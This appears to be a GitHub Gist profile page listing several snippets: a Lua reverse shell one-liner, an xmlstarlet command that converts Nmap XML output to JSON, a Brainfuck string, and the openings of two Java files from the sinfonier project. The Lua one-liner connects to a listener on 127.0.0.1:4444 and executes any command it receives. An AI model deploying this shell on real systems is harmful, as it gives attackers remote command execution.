Skip to content

Instantly share code, notes, and snippets.

View cldrn's full-sized avatar

Paulino Calderon cldrn

View GitHub Profile
@cldrn
cldrn / lua-reverse-shell.lua
Created October 8, 2018 21:24
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
@cldrn
cldrn / portrulescript-xml2json
Created December 18, 2015 14:22
XMLStarlet command to convert Nmap's XML output to JSON. (Works on portrule scripts)
xmlstarlet sel -t -m "//host/ports/port/script" -o "{ip:'" -v "ancestor::host/address[@addrtype='ipv4']/@addr" -o "', hostname:'" -v "concat(ancestor::host/hostnames/hostname/@name,'')" -o "', proto:'" -v "../@protocol" -o "', port:" -v "../@portid" -o ", service:'" -v "../service/@name" -o "', script:'" -v "@id" -o "', script-output:'" -v "@output" -o "'}" -n <XML INPUT FILE>
@cldrn
cldrn / brainfuck-cpmx6
Created May 28, 2015 17:56
Brainfuck @PaypalMexico #CPMX6
++++++++++[>++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>+++++++.[-]++++++++++[>+
+++++++++<-]>+++++.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>
++++.[-]++++++++++[>+++++++++++<-]>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>+++
+++++++<-]>+++++++++.[-]++++++++++[>++++++++++<-]>+++++.[-]++++++++++[>+++<-]>++
.[-]++++++++++[>++++++++++<-]>+.[-]++++++++++[>+++++++++++<-]>.[-]++++++++++[>++
+++++++++<-]>++++++.[-]++++++++++[>+++++++++++<-]>++++.[-]++++++++++[>+++++++++<
-]>+++++++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>+++++++++<-]>+++++++.[-]
++++++++++[>+++<-]>++.[-]++++++++++[>++++++++++<-]>.[-]++++++++++[>++++++++++<-]
>+.[-]++++++++++[>+++<-]>++.[-]++++++++++[>++++++<-]>+++++++.[-]++++++++++[>++++
++++<-]>.[-]++++++++++[>+++++++<-]>+++++++.[-]++++++++++[>++++++++<-]>++++++++.[
@cldrn
cldrn / CounterBolt.java
Last active October 3, 2023 05:29
CounterBolt.java
/*
The MIT License (MIT)
Copyright (c) 2014 sinfonier-project
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
@cldrn
cldrn / PasteBinDrain.java
Last active August 29, 2015 14:03
PasteBinDrain.java
package com.sinfonier.drains;
import java.sql.Timestamp;
import java.util.Date;
import org.glassfish.jersey.core;
/*
* PasteBinDrain
* Drain disenado para dumpear el contenido deseado en pastebin.com.
*
* Este drain utiliza la API oficial de pastebin para publicar el contenido.
* Los campos requeridos en la peticion son: